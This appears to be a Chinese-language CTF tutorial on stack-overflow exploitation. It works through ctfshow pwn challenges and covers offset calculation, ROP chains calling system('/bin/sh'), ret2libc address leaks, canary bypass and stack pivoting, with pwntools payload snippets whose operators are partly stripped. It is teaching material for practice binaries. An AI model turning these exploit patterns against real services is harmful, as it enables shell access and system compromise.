【CTF | pwn篇】从ctfshow入门到进阶:栈溢出实战技巧全解析

张开发
2026/6/7 10:53:34 15 分钟阅读
【CTF | pwn篇】从ctfshow入门到进阶:栈溢出实战技巧全解析
1. 栈溢出漏洞基础认知栈溢出Stack Overflow是CTF-PWN方向最经典的漏洞类型之一。简单来说当程序向栈上的缓冲区写入数据时如果超出了缓冲区边界就会覆盖相邻的内存区域这就是栈溢出漏洞。这种漏洞通常由以下危险函数引发gets()完全不检查输入长度的函数strcpy()不检查目标缓冲区大小的字符串复制函数read()当长度参数控制不严时可能引发溢出sprintf()格式化字符串不安全的用法实际案例在ctfshow pwn_035中程序使用strcpy将argv[1]复制到固定大小的dest缓冲区当argv[1]长度超过0x68时就会发生栈溢出。栈帧结构是理解溢出的关键。以32位程序为例函数调用时的典型栈布局如下高地址 | 参数3 | | 参数2 | | 参数1 | | 返回地址 | ← 溢出目标 | 旧的ebp | | 局部变量 | ← 缓冲区起始 低地址2. 基础栈溢出利用实战2.1 偏移量计算方法确定覆盖返回地址所需的填充长度是攻击的第一步。常用方法有静态分析通过IDA查看变量与ebp的偏移char s[36]; // [esp0h] [ebp-28h]此时偏移量 0x28到ebp 4覆盖返回地址动态调试使用cyclic模式字符串gdb-peda$ pattern create 200 gdb-peda$ run pattern.txt # 崩溃时查看eip值 gdb-peda$ pattern offset $eip2.2 直接控制EIPctfshow pwn_036展示了最基础的利用方式from pwn import * getflag_addr 0x08048586 payload bA*0x28 bBBBB p32(getflag_addr) sh.sendline(payload)这里用A填满缓冲区BBBB覆盖ebp最后用后门函数地址覆盖返回地址。2.3 危险函数特征识别审计代码时需要特别关注void vulnerable() { char buf[16]; gets(buf); // 明显危险 read(0, buf, 50); // 长度大于缓冲区 strcpy(dest, src); // 无长度检查 }3. 绕过基础防护机制3.1 对抗NX保护当栈不可执行时NX enabled我们需要使用ROPReturn-Oriented Programming。以ctfshow pwn_040为例pop_rdi 0x4007e3 bin_sh 0x400808 system_plt 0x400520 payload bA*18 payload p64(pop_rdi) p64(bin_sh) payload p64(system_plt)关键步骤找到pop rdi; ret等gadget定位/bin/sh字符串地址获取system函数地址3.2 绕过Canary保护栈金丝雀Stack Canary检测到溢出时会终止程序。绕过方法包括泄露Canary值通过格式化字符串等漏洞逐字节爆破适用于fork型服务覆盖SEHWindows特有方法ctfshow pwn_049中程序没有开启Canary但实际比赛中常会遇到。4. 高级利用技巧4.1 ret2libc实战当程序没有提供后门函数时我们需要使用libc中的函数。ctfshow pwn_045的利用流程泄露libc函数地址如puts计算libc基地址定位system和/bin/sh构造ROP链# 泄露puts地址 payload bA*0x6c p32(puts_plt) p32(main) p32(puts_got) sh.sendline(payload) # 计算system地址 puts_addr u32(sh.recv(4)) libc_base puts_addr - libc.sym[puts] system libc_base libc.sym[system]4.2 栈迁移技术当溢出空间不足时可以使用栈迁移stack pivot。关键技术点控制ebp寄存器使用leave; ret指令序列将栈转移到可控区域如.bss段leave_ret 0x0804844d payload p32(bss) p32(system) p32(bss12) b/bin/sh\x00 payload payload.ljust(0x6c, bA) p32(bss-4) p32(leave_ret)5. 64位与32位的差异64位架构的利用有显著不同参数通过寄存器传递rdi, rsi, rdx等需要平衡栈帧stack alignment地址空间更大导致爆破更困难ctfshow pwn_038的典型payloadpayload bA*10 bB*8 # 覆盖rbp payload p64(pop_rdi) p64(bin_sh) payload p64(ret) p64(system) # 栈对齐6. 工具链与调试技巧高效的工具使用能大幅提升解题速度pwntools自动化攻击脚本context(archi386, oslinux) elf ELF(./pwn) libc elf.libc # 自动识别libcGDB调试关键命令checksec # 查看保护 b *0x8041234 # 下断点 x/20wx $esp # 查看栈内存ROPgadget查找有用指令片段ROPgadget --binary ./pwn | grep pop rdi7. ctfshow题目精讲7.1 pwn_051 IronMan变形题这道题的特殊之处在于输入字符I会被扩展为IronMan。利用这个特性# 输入10个I实际会变成70字节 payload bI*10 p32(backdoor)7.2 pwn_052 条件触发后门后门函数需要满足特定条件才会输出flagif (a 876 b 877) { print_flag(); }因此payload需要精心构造payload bA*0x6c payload p32(backdoor) p32(ret_addr) payload p32(876) p32(877)8. 漏洞挖掘方法论系统化的漏洞挖掘流程信息收集checksec查看保护机制识别危险函数gets/strcpy等查找后门函数/字符串漏洞定位静态分析IDA/Frida动态调试GDBPed利用开发计算精确偏移绕过现有保护稳定化payload自动化脚本处理交互逻辑增加鲁棒性优化攻击成功率在真实CTF比赛中建议建立自己的漏洞利用模板库包含常见场景的利用代码片段可以快速组合修改。同时要养成记录解题过程的习惯这些笔记会成为宝贵的经验积累。

更多文章